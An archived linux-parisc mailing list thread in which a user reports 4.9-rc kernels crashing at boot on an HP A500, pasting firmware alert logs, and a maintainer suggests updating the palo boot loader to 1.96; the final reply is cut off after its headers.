Subject: parsic: strange boot crash on a500
Date: Sat, 26 Nov 2016 02:13:34 +0200 (EET)
Lines: 383
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1480114902 19420 195.159.176.226 (25 Nov 2016 23:01:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 25 Nov 2016 23:01:42 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 26 00:01:38 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cAPUs-00058f-Jo
	for glpp-linux-parisc@m.gmane.org; Sat, 26 Nov 2016 00:01:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750859AbcKYXBi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 25 Nov 2016 18:01:38 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:35236 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750771AbcKYXBh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 25 Nov 2016 18:01:37 -0500
X-Greylist: delayed 1211 seconds by postgrey-1.27 at vger.kernel.org; Fri, 25 Nov 2016 18:01:36 EST
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id D2F5073D9CE
        for <linux-parisc@vger.kernel.org>; Sat, 26 Nov 2016 00:41:19 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 3F40022191C; Sat, 26 Nov 2016 02:13:34 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 8748A221559
        for <linux-parisc@vger.kernel.org>; Sat, 26 Nov 2016 02:13:34 +0200 (EET)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27071
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27071>

I have succeeded in keepin my rp3410 and rp3440 up to date but I have 
trouble on A500 after 4.8.

Tried two kernels, something around 4.9-rc2 and 
4.9.0-rc5-00297-g20afa6e, they both crash on boot like that. Hardware 
seems fine, I can boot kernels up to 4.8 without problems.

After these messages it just sits there, no progress is made.

PDT is empty.

All fields see to be 0 for the alert, except timestamp ands alert level 
(=7).

Is there anything in PIM that might be of interest?


Bisecting slowly is possible.

HARD Booted.
palo ipl 1.95 portage@a500 Thu Jul  7 15:40:10 EEST 2016

Partition Start(MB) End(MB) Id Type
1               1      32   f0 Palo
2              33     224   83 ext2
3             225   31696   83 ext2
4           31697   34732   83 ext2

PALO(F0) partition contains:

Command line for kernel: 'root=/dev/sda3 console=ttyS0 palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2

************* SYSTEM ALERT **************
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         OFF       ON         ON
LED State: Running non-OS code.  Non-critical error detected.
Check Chassis and Console Logs for error messages.

0x0000007000FF6292 00000000 00000000 - type  0 = Data Field Unused
0x5800087000FF6292 0000740A 19151E19 - type 11 = Timestamp 11/25/2016 21:30:25
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:Timeout!
*****************************************

Interesting entries from SL GSP command from these seconds:




Log Entry # 300 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 8 = I/O
SOURCE DETAIL: 2 = system bus adapter   SOURCE ID: 6
PROBLEM DETAIL: 3 = function failure

CALLER ACTIVITY: 6 = machine check   STATUS: 3
CALLER SUBACTIVITY: 34 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x7000002382066343 00000000 00070200 type 14 = Problem Detail
0x5800082382066343 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.


Log Entry # 301 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 8 = I/O
SOURCE DETAIL: 2 = system bus adapter   SOURCE ID: 4
PROBLEM DETAIL: 3 = function failure

CALLER ACTIVITY: 6 = machine check   STATUS: 3
CALLER SUBACTIVITY: 34 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x7000002382046343 00000000 00070200 type 14 = Problem Detail
0x5800082382046343 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.



Log Entry # 302 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 8 = I/O
SOURCE DETAIL: 2 = system bus adapter   SOURCE ID: 2
PROBLEM DETAIL: 3 = function failure

CALLER ACTIVITY: 6 = machine check   STATUS: 3
CALLER SUBACTIVITY: 34 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x7000002382026343 00000000 00070200 type 14 = Problem Detail
0x5800082382026343 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.



Log Entry # 303 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 8 = I/O
SOURCE DETAIL: 2 = system bus adapter   SOURCE ID: 0
PROBLEM DETAIL: 3 = function failure

CALLER ACTIVITY: 6 = machine check   STATUS: 3
CALLER SUBACTIVITY: 34 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x7000002382006343 00000000 00070200 type 14 = Problem Detail
0x5800082382006343 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.



Log Entry # 304 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 0 = No failure detected, forward progress

SOURCE: 8 = I/O
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 0
CALLER SUBACTIVITY: 30 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x0000000080006300 00000000 00000001 type  0 = Data Field Unused
0x5800080080006300 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.



Log Entry # 305 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 40 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x0000002000FF6402 00000000 00000000 type  0 = Data Field Unused
0x5800082000FF6402 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.



Log Entry # 306 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 44 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x0000002000FF6442 00000000 00000000 type  0 = Data Field Unused
0x5800082000FF6442 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.

Log Entry # 307 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 0 = No failure detected, forward progress

SOURCE: 8 = I/O
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: F
CALLER SUBACTIVITY: 31 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x000000008000631F 00000000 00000000 type  0 = Data Field Unused
0x580008008000631F 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.



Log Entry # 308 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 0 = No failure detected, forward progress

SOURCE: 8 = I/O
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 0
CALLER SUBACTIVITY: 31 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x0000000080006310 00000000 00000001 type  0 = Data Field Unused
0x5800080080006310 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.



Log Entry # 309 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 7 = memory
SOURCE DETAIL: 9 = unexpected   SOURCE ID: 0
PROBLEM DETAIL: 3 = unexpected

CALLER ACTIVITY: 6 = machine check   STATUS: 3
CALLER SUBACTIVITY: 13 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x7000002379006133 C1BFF0FF FED08040 type 14 = Problem Detail
0x5800082379006133 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.


Log Entry # 310 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 7 = memory
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 08 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x7000002070006082 00000000 00392400 type 14 = Problem Detail
0x5800082070006082 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.



Log Entry # 311 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 7 = memory
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 06 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x6000002070006062 00000000 00000010 type 12 = Device Status
0x5800082070006062 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.


Log Entry # 312 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 1 = Information only, no action required

SOURCE: 6 = platform
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 2A = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0xA000001060FF62A2 00000000 0000050B type 20 = major change in system 
state
0x5800081060FF62A2 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.



Log Entry # 313 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 7 = reserved

SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 29 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x0000007000FF6292 00000000 00000000 type  0 = Data Field Unused
0x5800087000FF6292 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.


Log Entry # 314 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 1 = processor
SOURCE DETAIL: 1 = processor general   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 31 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x1800002011006312 CB810000 00000000 type  3 = Actual Data
0x5800082011006312 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.



Log Entry # 315 :
SYSTEM NAME: a500-m
DATE: 11/25/2016 TIME: 21:30:25
ALERT LEVEL: 2 = Non-Urgent operator attention required

SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

CALLER ACTIVITY: 6 = machine check   STATUS: 2
CALLER SUBACTIVITY: 24 = implementation dependent
REPORTING ENTITY TYPE: 0 = system firmware   REPORTING ENTITY ID: 00

0x0000002000FF6242 00000000 00000000 type  0 = Data Field Unused
0x5800082000FF6242 0000740A 19151E19 type 11 = Timestamp 11/25/2016 
21:30:25
Type CR for next entry, - CR for previous entry, Q CR to quit.




-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parsic: strange boot crash on a500
Date: Sat, 26 Nov 2016 10:12:15 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1480151556 24278 195.159.176.226 (26 Nov 2016 09:12:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 26 Nov 2016 09:12:36 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
To: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 26 10:12:28 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cAZ24-0005BD-6a
	for glpp-linux-parisc@m.gmane.org; Sat, 26 Nov 2016 10:12:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751792AbcKZJM2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 26 Nov 2016 04:12:28 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:60790 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751387AbcKZJMW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 26 Nov 2016 04:12:22 -0500
Original-Received: from [192.168.20.60] ([92.203.38.235]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MM0bQ-1c53me00Gy-007i0N; Sat, 26
 Nov 2016 10:12:16 +0100
In-Reply-To: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee>
X-Provags-ID: V03:K0:9SOafYryywbpsImYuvRvJaEgCkr1qQPzEC+DJ6uZ/GnzuDPMa2M
 LOM4slGc4f/MSKRTGXvyMT1+c4XNY1Xi6vEIMrIO+N1SjtDmNqNd8YlUWTg6A52C9bPh/st
 8/tMRb1dtqtaXtnJXbbxu2NbYI5qwD0yktPYekgHeCpqaQ9gDKAP78r8zxusYb0+OaWgmmb
 N8zOemsllD0lZ6eIWFCvQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:36UTdc5H30o=:pmnZQsR0lQTTkWs4o5QRrn
 athgEODc8ZFY8dIdG4YvTknUJk4KtobM0Hac3WvFxA2feeYsdYJAxs/n8zeom6aiKAVU+k7UD
 3xLCvcEH/CqNgpI7csHjfAuNH94XotR/P1ntwF1X3q4l7le5/ixXkAcYmGuvzxVUyue3ftRwF
 D2kp57oMS1+PpN4gcscQTeKz+/9BN5rWrecwCD0zw09bWfmnbe77yumIU7tKCUMMtfwuw8AuU
 0ffvb60eTZhIDahd42KtXz8Lf+/OE0XPhAEaZA1XamVMSBA6SBjvCCxDuIu6xURTsQXXG+fyN
 gESfORB9yHLfSYLkZHkSsF8bxUbVgPKho7oQ4VDz5ThJ7/OWgQvgbvciTeECsFHjvd8rCJHaf
 lnjnCZuKECSTWEHCd4MwwtHQ6n7xtz40MflGWRWWEA0OZd13tMvR8QEIoAXHOyOIrPMeoPseg
 tWC/1k9qnw+6t+ku9Fqtf3yJ3Jm5/UKo8u43R8BIt6S1tsyyxAn1EVnNmps17OHocehP4lZRS
 PeBtd+x6UEXAHvxqdxVFTBsQo0fPTMjTB7Flh6Ux+8tMBntGPY3ZasQVCndSlF8D1Ld5N2o/Z
 pTh+8M5xbPTmP2VU20QSoDyW+KVPBzUevirmc1Qr7+iiozs0HHvGJjYtwNk54MCpY0IvGpHZh
 qQ5s1MIWOF5J4VTSDdLiLi5x2/8sdPwVePPqSmQSOTQrCab9dRBmhQ+8UJ4NQwK6wcsHj5P+z
 j58GSPwLLHtRS6GaJPTqE9k+xxOOx742VJ/3L7AmeR1S2joirY+qd9P+bsgawbLtyvBz61Nv 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27072
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27072>

Hi Meelis,

I think I know what's going on...

On 26.11.2016 01:13, Meelis Roos wrote:
> I have succeeded in keepin my rp3410 and rp3440 up to date but I have 
> trouble on A500 after 4.8.
> 
> Tried two kernels, something around 4.9-rc2 and

In the rc1-rc3 kernel series I switched in kernel from bootmem 
to memblock allocator. There was some bug in there which led to
a crash. It was fixed later on.
So, rc2 is probably bad, but this is not the main reason why
your machine dies at the stage you report here...
 
> 4.9.0-rc5-00297-g20afa6e, they both crash on boot like that.

rc5 should be more OK, but just last night we fixed some more problems:
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=3ad0e83cf86bcaeb6ca3c37060a3ce866b25fb42
So, if you try, please update to latest git head now.

> Hardware seems fine, I can boot kernels up to 4.8 without problems.
> ...
> HARD Booted.
> palo ipl 1.95 portage@a500 Thu Jul  7 15:40:10 EEST 2016
> 
> Partition Start(MB) End(MB) Id Type
> 1               1      32   f0 Palo
> 2              33     224   83 ext2
> 3             225   31696   83 ext2
> 4           31697   34732   83 ext2
> 
> PALO(F0) partition contains:

You sadly didn't included the PALO segment list here.
I think this is your main problem.
Probably you have quite some modules built-in, and your
kernel got bigger than before and as such it triggers
an old bug in the palo boot loader.

Please read this palo commit message which explains it:
https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/commit/?id=70bd7a9a41e318c0575755a78c4d18ad97495c47

I think those steps should fix your problem:
1. Boot into a functional kernel (e.g. v4.8)
2. Update your palo boot loader: 
   https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/
   You should build palo 1.96, and then *install* it into
   your palo boot partition:  run "palo -v" once.
3. Pull and build Linus' latest git tree to get latest parisc fixes
4. boot again, palo should report version 1.96 and it should start your new kernel.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parsic: strange boot crash on a500
Date: Sun, 27 Nov 2016 23:35:43 +0200 (EET)
Lines: 96
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1611272329430.19497@math.ut.ee>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee> <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1480277013 13023 195.159.176.226 (27 Nov 2016 20:03:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 27 Nov 2016 20:03:33 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 27 21:03:28 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cB5fb-00025i-Fe
	for glpp-linux-parisc@m.gmane.org; Sun, 27 Nov 2016 21:03:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753021AbcK0UDa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 27 Nov 2016 15:03:30 -0500
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:51855 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752431AbcK0UD3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 27 Nov 2016 15:03:29 -0500
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id 60CD290034;
        Sun, 27 Nov 2016 22:03:24 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 0D881221742; Sun, 27 Nov 2016 23:35:43 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 46D5C220BE5;
        Sun, 27 Nov 2016 23:35:43 +0200 (EET)
In-Reply-To: <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27073
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27073>

> > 4.9.0-rc5-00297-g20afa6e, they both crash on boot like that.
> 
> rc5 should be more OK, but just last night we fixed some more problems:
> http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=3ad0e83cf86bcaeb6ca3c37060a3ce866b25fb42
> So, if you try, please update to latest git head now.

Updated to ths version.

> 1. Boot into a functional kernel (e.g. v4.8)
> 2. Update your palo boot loader: 
>    https://git.kernel.org/cgit/linux/kernel/git/deller/palo.git/

Cloned git://git.kernel.org/pub/scm/linux/kernel/git/deller/palo.git 
and built and installed it.

>    You should build palo 1.96, and then *install* it into
>    your palo boot partition:  run "palo -v" once.

palo version 1.96 http://www.parisc-linux.org - Sun Nov 27 21:27:38 EET 2016
Partition Start(MB) End(MB) Id Type
1               1      32   f0 Palo
2              33     224   83 ext2
3             225   31696   83 ext2
4           31697   34732   83 ext2
F0 partition start sector 32 length 65504
do_ra(1, 4, -1, -1, '2/vmlinux root=/dev/sda3 console=ttyS0', 3, -1, 16384, 33538048)
check_bootloader 215
checksum(0x331d8, 45056) = 0x00000000
ipl: addr 16384 size 45056 entry 0x0
 ko 0x0 ksz 0 knsz 0 k64o 0x0 k64sz 0 k64nsz 0 rdo 0 rdsz 0
<2/vmlinux root=/dev/sda3 console=ttyS0>
check_bootloader 670
checksum(0x281d0, 45056) = 0x00000000
ipl: addr 16384 size 45056 entry 0x0
 ko 0x0 ksz 0 knsz 0 k64o 0x0 k64sz 0 k64nsz 0 rdo 0 rdsz 0
<2/vmlinux root=/dev/sda3 console=ttyS0>


> 3. Pull and build Linus' latest git tree to get latest parisc fixes

Built.

> 4. boot again, palo should report version 1.96 and it should start your new kernel.

Unfortunately, still the same. Is iplboot precompiled? It shows 08 Oct.

Trying Primary Boot Path
------------------------
Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.96 http://www.parisc-linux.org - Sun, 08 Oct 2016 22:40:31 +0100

Partition Start(MB) End(MB) Id Type
1               1      32   f0 Palo
2              33     224   83 ext2
3             225   31696   83 ext2
4           31697   34732   83 ext2

PALO(F0) partition contains:

Command line for kernel: 'root=/dev/sda3 console=ttyS0 
palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2

************* SYSTEM ALERT **************
SYSTEM NAME: a500-m
DATE: 11/27/2016 TIME: 19:34:16
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         OFF       ON         ON
LED State: Running non-OS code.  Non-critical error detected.
Check Chassis and Console Logs for error messages.

0x0000007000FF6292 00000000 00000000 - type  0 = Data Field Unused
0x5800087000FF6292 0000740A 1B132210 - type 11 = Timestamp 11/27/2016 
19:34:16
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry


-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parsic: strange boot crash on a500
Date: Sun, 27 Nov 2016 21:37:50 +0100
Lines: 94
Approved: news@gmane.org
Message-ID: <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee>
 <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de>
 <alpine.LRH.2.20.1611272329430.19497@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1480279082 24827 195.159.176.226 (27 Nov 2016 20:38:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 27 Nov 2016 20:38:02 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 27 21:37:58 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
